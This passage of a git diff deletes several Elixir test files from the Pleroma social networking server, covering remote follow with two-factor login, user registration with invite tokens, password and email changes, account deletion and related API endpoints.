remote_follow_path(conn, :follow, %{ - acct: "https://mastodon.social/users/not_found" - }) - ) - |> html_response(200) - - assert response =~ "Error fetching user" - end) =~ "Object has been deleted" - end - end - - describe "POST /ostatus_subscribe - do_follow/2 with assigned user " do - test "required `follow | write:follows` scope", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - read_token = insert(:oauth_token, user: user, scopes: ["read"]) - - assert capture_log(fn -> - response = - conn - |> assign(:user, user) - |> assign(:token, read_token) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end) =~ "Insufficient permissions: follow | write:follows." - end - - test "follows user", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - conn = - conn - |> assign(:user, user) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - - assert redirected_to(conn) == "/users/#{user2.id}" - end - - test "returns error when user is deactivated", %{conn: conn} do - user = insert(:user, deactivated: true) - user2 = insert(:user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when user is blocked", %{conn: conn} do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - user = insert(:user) - user2 = insert(:user) - - {:ok, _user_block} = Pleroma.User.block(user2, user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when followee not found", %{conn: conn} do - user = insert(:user) - - response = - conn - |> assign(:user, user) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => "jimm"}}) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns success result when user already in followers", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - {:ok, _, _, _} = CommonAPI.follow(user, user2) - - conn = - conn - |> assign(:user, refresh_record(user)) - |> assign(:token, insert(:oauth_token, user: user, scopes: ["write:follows"])) - |> post(remote_follow_path(conn, :do_follow), %{"user" => %{"id" => user2.id}}) - - assert redirected_to(conn) == "/users/#{user2.id}" - end - end - - describe "POST /ostatus_subscribe - follow/2 with enabled Two-Factor Auth " do - test "render the MFA login form", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - |> response(200) - - mfa_token = Pleroma.Repo.one(from(q in Pleroma.MFA.Token, where: q.user_id == ^user.id)) - - assert response =~ "Two-factor authentication" - assert response =~ "Authentication code" - assert response =~ mfa_token.token - refute user2.follower_address in User.following(user) - end - - test "returns error when password is incorrect", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test1", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - refute user2.follower_address in User.following(user) - end - - test "follows", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - {:ok, %{token: token}} = MFA.Token.create(user) - - user2 = insert(:user) - otp_token = TOTP.generate_token(otp_secret) - - conn = - conn - |> post( - remote_follow_path(conn, :do_follow), - %{ - "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} - } - ) - - assert redirected_to(conn) == "/users/#{user2.id}" - assert user2.follower_address in User.following(user) - end - - test "returns error when auth code is incorrect", %{conn: conn} do - otp_secret = TOTP.generate_secret() - - user = - insert(:user, - multi_factor_authentication_settings: %MFA.Settings{ - enabled: true, - totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} - } - ) - - {:ok, %{token: token}} = MFA.Token.create(user) - - user2 = insert(:user) - otp_token = TOTP.generate_token(TOTP.generate_secret()) - - response = - conn - |> post( - remote_follow_path(conn, :do_follow), - %{ - "mfa" => %{"code" => otp_token, "token" => token, "id" => user2.id} - } - ) - |> response(200) - - assert response =~ "Wrong authentication code" - refute user2.follower_address in User.following(user) - end - end - - describe "POST /ostatus_subscribe - follow/2 without assigned user " do - test "follows", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - conn = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - - assert redirected_to(conn) == "/users/#{user2.id}" - assert user2.follower_address in User.following(user) - end - - test "returns error when followee not found", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => "jimm"} - }) - |> response(200) - - assert response =~ "Error following account" - end - - test "returns error when login invalid", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => "jimm", "password" => "test", "id" => user.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - end - - test "returns error when password invalid", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "42", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Wrong username or password" - end - - test "returns error when user is blocked", %{conn: conn} do - Pleroma.Config.put([:user, :deny_follow_blocked], true) - user = insert(:user) - user2 = insert(:user) - {:ok, _user_block} = Pleroma.User.block(user2, user) - - response = - conn - |> post(remote_follow_path(conn, :do_follow), %{ - "authorization" => %{"name" => user.nickname, "password" => "test", "id" => user2.id} - }) - |> response(200) - - assert response =~ "Error following account" - end - end -end diff --git a/test/web/twitter_api/twitter_api_controller_test.exs b/test/web/twitter_api/twitter_api_controller_test.exs deleted file mode 100644 index 464d0ea2e..000000000 --- a/test/web/twitter_api/twitter_api_controller_test.exs +++ /dev/null @@ -1,138 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.ControllerTest do - use Pleroma.Web.ConnCase - - alias Pleroma.Builders.ActivityBuilder - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.Web.OAuth.Token - - import Pleroma.Factory - - describe "POST /api/qvitter/statuses/notifications/read" do - test "without valid credentials", %{conn: conn} do - conn = post(conn, "/api/qvitter/statuses/notifications/read", %{"latest_id" => 1_234_567}) - assert json_response(conn, 403) == %{"error" => "Invalid credentials."} - end - - test "with credentials, without any params" do - %{conn: conn} = oauth_access(["write:notifications"]) - - conn = post(conn, "/api/qvitter/statuses/notifications/read") - - assert json_response(conn, 400) == %{ - "error" => "You need to specify latest_id", - "request" => "/api/qvitter/statuses/notifications/read" - } - end - - test "with credentials, with params" do - %{user: current_user, conn: conn} = - oauth_access(["read:notifications", "write:notifications"]) - - other_user = insert(:user) - - {:ok, _activity} = - ActivityBuilder.insert(%{"to" => [current_user.ap_id]}, %{user: other_user}) - - response_conn = - conn - |> assign(:user, current_user) - |> get("/api/v1/notifications") - - [notification] = response = json_response(response_conn, 200) - - assert length(response) == 1 - - assert notification["pleroma"]["is_seen"] == false - - response_conn = - conn - |> assign(:user, current_user) - |> post("/api/qvitter/statuses/notifications/read", %{"latest_id" => notification["id"]}) - - [notification] = response = json_response(response_conn, 200) - - assert length(response) == 1 - - assert notification["pleroma"]["is_seen"] == true - end - end - - describe "GET /api/account/confirm_email/:id/:token" do - setup do - {:ok, user} = - insert(:user) - |> User.confirmation_changeset(need_confirmation: true) - |> Repo.update() - - assert user.confirmation_pending - - [user: user] - end - - test "it redirects to root url", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") - - assert 302 == conn.status - end - - test "it confirms the user account", %{conn: conn, user: user} do - get(conn, "/api/account/confirm_email/#{user.id}/#{user.confirmation_token}") - - user = User.get_cached_by_id(user.id) - - refute user.confirmation_pending - refute user.confirmation_token - end - - test "it returns 500 if user cannot be found by id", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/0/#{user.confirmation_token}") - - assert 500 == conn.status - end - - test "it returns 500 if token is invalid", %{conn: conn, user: user} do - conn = get(conn, "/api/account/confirm_email/#{user.id}/wrong_token") - - assert 500 == conn.status - end - end - - describe "GET /api/oauth_tokens" do - setup do - token = insert(:oauth_token) |> Repo.preload(:user) - - %{token: token} - end - - test "renders list", %{token: token} do - response = - build_conn() - |> assign(:user, token.user) - |> get("/api/oauth_tokens") - - keys = - json_response(response, 200) - |> hd() - |> Map.keys() - - assert keys -- ["id", "app_name", "valid_until"] == [] - end - - test "revoke token", %{token: token} do - response = - build_conn() - |> assign(:user, token.user) - |> delete("/api/oauth_tokens/#{token.id}") - - tokens = Token.get_user_tokens(token.user) - - assert tokens == [] - assert response.status == 201 - end - end -end diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs deleted file mode 100644 index 20a45cb6f..000000000 --- a/test/web/twitter_api/twitter_api_test.exs +++ /dev/null @@ -1,432 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.TwitterAPITest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.UserInviteToken - alias Pleroma.Web.TwitterAPI.TwitterAPI - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "it registers a new user and returns the user." do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("lain") - end - - test "it registers a new user with empty string in bio and returns the user" do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("lain") - end - - test "it sends confirmation email if :account_activation_required is specified in instance config" do - setting = Pleroma.Config.get([:instance, :account_activation_required]) - - unless setting do - Pleroma.Config.put([:instance, :account_activation_required], true) - on_exit(fn -> Pleroma.Config.put([:instance, :account_activation_required], setting) end) - end - - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear" - } - - {:ok, user} = TwitterAPI.register_user(data) - ObanHelpers.perform_all() - - assert user.confirmation_pending - - email = Pleroma.Emails.UserEmail.account_confirmation_email(user) - - notify_email = Pleroma.Config.get([:instance, :notify_email]) - instance_name = Pleroma.Config.get([:instance, :name]) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {user.name, user.email}, - html_body: email.html_body - ) - end - - test "it sends an admin email if :account_approval_required is specified in instance config" do - admin = insert(:user, is_admin: true) - setting = Pleroma.Config.get([:instance, :account_approval_required]) - - unless setting do - Pleroma.Config.put([:instance, :account_approval_required], true) - on_exit(fn -> Pleroma.Config.put([:instance, :account_approval_required], setting) end) - end - - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "", - :password => "bear", - :confirm => "bear", - :reason => "I love anime" - } - - {:ok, user} = TwitterAPI.register_user(data) - ObanHelpers.perform_all() - - assert user.approval_pending - - email = Pleroma.Emails.AdminEmail.new_unapproved_registration(admin, user) - - notify_email = Pleroma.Config.get([:instance, :notify_email]) - instance_name = Pleroma.Config.get([:instance, :name]) - - Swoosh.TestAssertions.assert_email_sent( - from: {instance_name, notify_email}, - to: {admin.name, admin.email}, - html_body: email.html_body - ) - end - - test "it registers a new user and parses mentions in the bio" do - data1 = %{ - :username => "john", - :email => "john@gmail.com", - :fullname => "John Doe", - :bio => "test", - :password => "bear", - :confirm => "bear" - } - - {:ok, user1} = TwitterAPI.register_user(data1) - - data2 = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "@john test", - :password => "bear", - :confirm => "bear" - } - - {:ok, user2} = TwitterAPI.register_user(data2) - - expected_text = - ~s(<span class="h-card"><a class="u-url mention" data-user="#{user1.id}" href="#{ - user1.ap_id - }" rel="ugc">@<span>john</span></a></span> test) - - assert user2.bio == expected_text - end - - describe "register with one time token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success" do - {:ok, invite} = UserInviteToken.create_invite() - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - end - - test "returns error on invalid token" do - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => "DudeLetMeInImAFairy" - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Invalid token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on expired token" do - {:ok, invite} = UserInviteToken.create_invite() - UserInviteToken.update_invite!(invite, used: true) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - describe "registers with date limited token" do - setup do: clear_config([:instance, :registrations_open], false) - - setup do - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees" - } - - check_fn = fn invite -> - data = Map.put(data, :token, invite.token) - {:ok, user} = TwitterAPI.register_user(data) - - assert user == User.get_cached_by_nickname("vinny") - end - - {:ok, data: data, check_fn: check_fn} - end - - test "returns user on success", %{check_fn: check_fn} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today()}) - - check_fn.(invite) - - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - - test "returns user on token which expired tomorrow", %{check_fn: check_fn} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), 1)}) - - check_fn.(invite) - - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - - test "returns an error on overdue date", %{data: data} do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1)}) - - data = Map.put(data, "token", invite.token) - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("vinny") - invite = Repo.get_by(UserInviteToken, token: invite.token) - - refute invite.used - end - end - - describe "registers with reusable token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success, after him registration fails" do - {:ok, invite} = UserInviteToken.create_invite(%{max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 99) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - describe "registers with reusable date limited token" do - setup do: clear_config([:instance, :registrations_open], false) - - test "returns user on success" do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - refute invite.used - end - - test "error after max uses" do - {:ok, invite} = UserInviteToken.create_invite(%{expires_at: Date.utc_today(), max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 99) - - data = %{ - :username => "vinny", - :email => "pasta@pizza.vs", - :fullname => "Vinny Vinesauce", - :bio => "streamer", - :password => "hiptofbees", - :confirm => "hiptofbees", - :token => invite.token - } - - {:ok, user} = TwitterAPI.register_user(data) - assert user == User.get_cached_by_nickname("vinny") - - invite = Repo.get_by(UserInviteToken, token: invite.token) - assert invite.used == true - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on overdue date" do - {:ok, invite} = - UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - - test "returns error on with overdue date and after max" do - {:ok, invite} = - UserInviteToken.create_invite(%{expires_at: Date.add(Date.utc_today(), -1), max_use: 100}) - - UserInviteToken.update_invite!(invite, uses: 100) - - data = %{ - :username => "GrimReaper", - :email => "death@reapers.afterlife", - :fullname => "Reaper Grim", - :bio => "Your time has come", - :password => "scythe", - :confirm => "scythe", - :token => invite.token - } - - {:error, msg} = TwitterAPI.register_user(data) - - assert msg == "Expired token" - refute User.get_cached_by_nickname("GrimReaper") - end - end - - test "it returns the error on registration problems" do - data = %{ - :username => "lain", - :email => "lain@wired.jp", - :fullname => "lain iwakura", - :bio => "close the world." - } - - {:error, error} = TwitterAPI.register_user(data) - - assert is_binary(error) - refute User.get_cached_by_nickname("lain") - end - - setup do - Supervisor.terminate_child(Pleroma.Supervisor, Cachex) - Supervisor.restart_child(Pleroma.Supervisor, Cachex) - :ok - end -end diff --git a/test/web/twitter_api/util_controller_test.exs b/test/web/twitter_api/util_controller_test.exs deleted file mode 100644 index 60f2fb052..000000000 --- a/test/web/twitter_api/util_controller_test.exs +++ /dev/null @@ -1,437 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - - import Pleroma.Factory - import Mock - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - setup do: clear_config([:instance]) - setup do: clear_config([:frontend_configurations, :pleroma_fe]) - - describe "PUT /api/pleroma/notification_settings" do - setup do: oauth_access(["write:accounts"]) - - test "it updates notification settings", %{user: user, conn: conn} do - conn - |> put("/api/pleroma/notification_settings", %{ - "block_from_strangers" => true, - "bar" => 1 - }) - |> json_response(:ok) - - user = refresh_record(user) - - assert %Pleroma.User.NotificationSetting{ - block_from_strangers: true, - hide_notification_contents: false - } == user.notification_settings - end - - test "it updates notification settings to enable hiding contents", %{user: user, conn: conn} do - conn - |> put("/api/pleroma/notification_settings", %{"hide_notification_contents" => "1"}) - |> json_response(:ok) - - user = refresh_record(user) - - assert %Pleroma.User.NotificationSetting{ - block_from_strangers: false, - hide_notification_contents: true - } == user.notification_settings - end - end - - describe "GET /api/pleroma/frontend_configurations" do - test "returns everything in :pleroma, :frontend_configurations", %{conn: conn} do - config = [ - frontend_a: %{ - x: 1, - y: 2 - }, - frontend_b: %{ - z: 3 - } - ] - - Config.put(:frontend_configurations, config) - - response = - conn - |> get("/api/pleroma/frontend_configurations") - |> json_response(:ok) - - assert response == Jason.encode!(config |> Enum.into(%{})) |> Jason.decode!() - end - end - - describe "/api/pleroma/emoji" do - test "returns json with custom emoji with tags", %{conn: conn} do - emoji = - conn - |> get("/api/pleroma/emoji") - |> json_response(200) - - assert Enum.all?(emoji, fn - {_key, - %{ - "image_url" => url, - "tags" => tags - }} -> - is_binary(url) and is_list(tags) - end) - end - end - - describe "GET /api/pleroma/healthcheck" do - setup do: clear_config([:instance, :healthcheck]) - - test "returns 503 when healthcheck disabled", %{conn: conn} do - Config.put([:instance, :healthcheck], false) - - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(503) - - assert response == %{} - end - - test "returns 200 when healthcheck enabled and all ok", %{conn: conn} do - Config.put([:instance, :healthcheck], true) - - with_mock Pleroma.Healthcheck, - system_info: fn -> %Pleroma.Healthcheck{healthy: true} end do - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(200) - - assert %{ - "active" => _, - "healthy" => true, - "idle" => _, - "memory_used" => _, - "pool_size" => _ - } = response - end - end - - test "returns 503 when healthcheck enabled and health is false", %{conn: conn} do - Config.put([:instance, :healthcheck], true) - - with_mock Pleroma.Healthcheck, - system_info: fn -> %Pleroma.Healthcheck{healthy: false} end do - response = - conn - |> get("/api/pleroma/healthcheck") - |> json_response(503) - - assert %{ - "active" => _, - "healthy" => false, - "idle" => _, - "memory_used" => _, - "pool_size" => _ - } = response - end - end - end - - describe "POST /api/pleroma/disable_account" do - setup do: oauth_access(["write:accounts"]) - - test "with valid permissions and password, it disables the account", %{conn: conn, user: user} do - response = - conn - |> post("/api/pleroma/disable_account", %{"password" => "test"}) - |> json_response(:ok) - - assert response == %{"status" => "success"} - ObanHelpers.perform_all() - - user = User.get_cached_by_id(user.id) - - assert user.deactivated == true - end - - test "with valid permissions and invalid password, it returns an error", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post("/api/pleroma/disable_account", %{"password" => "test1"}) - |> json_response(:ok) - - assert response == %{"error" => "Invalid password."} - user = User.get_cached_by_id(user.id) - - refute user.deactivated - end - end - - describe "POST /main/ostatus - remote_subscribe/2" do - setup do: clear_config([:instance, :federating], true) - - test "renders subscribe form", %{conn: conn} do - user = insert(:user) - - response = - conn - |> post("/main/ostatus", %{"nickname" => user.nickname, "profile" => ""}) - |> response(:ok) - - refute response =~ "Could not find user" - assert response =~ "Remotely follow #{user.nickname}" - end - - test "renders subscribe form with error when user not found", %{conn: conn} do - response = - conn - |> post("/main/ostatus", %{"nickname" => "nickname", "profile" => ""}) - |> response(:ok) - - assert response =~ "Could not find user" - refute response =~ "Remotely follow" - end - - test "it redirect to webfinger url", %{conn: conn} do - user = insert(:user) - user2 = insert(:user, ap_id: "shp@social.heldscal.la") - - conn = - conn - |> post("/main/ostatus", %{ - "user" => %{"nickname" => user.nickname, "profile" => user2.ap_id} - }) - - assert redirected_to(conn) == - "https://social.heldscal.la/main/ostatussub?profile=#{user.ap_id}" - end - - test "it renders form with error when user not found", %{conn: conn} do - user2 = insert(:user, ap_id: "shp@social.heldscal.la") - - response = - conn - |> post("/main/ostatus", %{"user" => %{"nickname" => "jimm", "profile" => user2.ap_id}}) - |> response(:ok) - - assert response =~ "Something went wrong." - end - end - - test "it returns new captcha", %{conn: conn} do - with_mock Pleroma.Captcha, - new: fn -> "test_captcha" end do - resp = - conn - |> get("/api/pleroma/captcha") - |> response(200) - - assert resp == "\"test_captcha\"" - assert called(Pleroma.Captcha.new()) - end - end - - describe "POST /api/pleroma/change_email" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/change_email") - - assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and invalid password", %{conn: conn} do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "hi", - "email" => "test@test.com" - }) - - assert json_response(conn, 200) == %{"error" => "Invalid password."} - end - - test "with proper permissions, valid password and invalid email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "foobar" - }) - - assert json_response(conn, 200) == %{"error" => "Email has invalid format."} - end - - test "with proper permissions, valid password and no email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test" - }) - - assert json_response(conn, 200) == %{"error" => "Email can't be blank."} - end - - test "with proper permissions, valid password and blank email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "" - }) - - assert json_response(conn, 200) == %{"error" => "Email can't be blank."} - end - - test "with proper permissions, valid password and non unique email", %{ - conn: conn - } do - user = insert(:user) - - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => user.email - }) - - assert json_response(conn, 200) == %{"error" => "Email has already been taken."} - end - - test "with proper permissions, valid password and valid email", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_email", %{ - "password" => "test", - "email" => "cofe@foobar.com" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - end - end - - describe "POST /api/pleroma/change_password" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/change_password") - - assert json_response(conn, 403) == %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and invalid password", %{conn: conn} do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "hi", - "new_password" => "newpass", - "new_password_confirmation" => "newpass" - }) - - assert json_response(conn, 200) == %{"error" => "Invalid password."} - end - - test "with proper permissions, valid password and new password and confirmation not matching", - %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "newpass", - "new_password_confirmation" => "notnewpass" - }) - - assert json_response(conn, 200) == %{ - "error" => "New password does not match confirmation." - } - end - - test "with proper permissions, valid password and invalid new password", %{ - conn: conn - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "", - "new_password_confirmation" => "" - }) - - assert json_response(conn, 200) == %{ - "error" => "New password can't be blank." - } - end - - test "with proper permissions, valid password and matching new password and confirmation", %{ - conn: conn, - user: user - } do - conn = - post(conn, "/api/pleroma/change_password", %{ - "password" => "test", - "new_password" => "newpass", - "new_password_confirmation" => "newpass" - }) - - assert json_response(conn, 200) == %{"status" => "success"} - fetched_user = User.get_cached_by_id(user.id) - assert Pbkdf2.verify_pass("newpass", fetched_user.password_hash) == true - end - end - - describe "POST /api/pleroma/delete_account" do - setup do: oauth_access(["write:accounts"]) - - test "without permissions", %{conn: conn} do - conn = - conn - |> assign(:token, nil) - |> post("/api/pleroma/delete_account") - - assert json_response(conn, 403) == - %{"error" => "Insufficient permissions: write:accounts."} - end - - test "with proper permissions and wrong or missing password", %{conn: conn} do - for params <- [%{"password" => "hi"}, %{}] do - ret_conn = post(conn, "/api/pleroma/delete_account", params) - - assert json_response(ret_conn, 200) == %{"error" => "Invalid password."} - end - end - - test "with proper permissions and valid password", %{conn: conn, user: user} do - conn = post(conn, "/api/pleroma/delete_account", %{"password" => "test"}) - ObanHelpers.perform_all() - assert json_response(conn, 200) == %{"status" => "success"} - - user = User.get_by_id(user.id) - assert user.deactivated == true - assert user.name == nil - assert user.bio == "" - assert user.password_hash == nil - end - end -end diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs deleted file mode 100644 index 21e518236..000000000 --- a/test/web/uploader_controller_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.UploaderControllerTest do - use Pleroma.Web.ConnCase - alias Pleroma.Uploaders.Uploader - - describe "callback/2" do - test "it returns 400 response when process callback isn't alive", %{conn: conn} do - res = - conn - |> post(uploader_path(conn, :callback, "test-path")) - - assert res.status == 400 - assert res.resp_body == "{\"error\":\"bad request\"}" - end - - test "it returns success result", %{conn: conn} do - task = - Task.async(fn -> - receive do - {Uploader, pid, conn, _params} -> - conn = - conn - |> put_status(:ok) - |> Phoenix.Controller.json(%{upload_path: "test-path"}) - - send(pid, {Uploader, conn}) - end - end) - - :global.register_name({Uploader, "test-path"}, task.pid) - - res = - conn - |> post(uploader_path(conn, :callback, "test-path")) - |> json_response(200) - - assert res == %{"upload_path" => "test-path"} - end - end -end diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs deleted file mode 100644 index 8dbbd18b4..000000000 --- a/test/web/views/error_view_test.exs +++ /dev/null @@ -1,36 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only 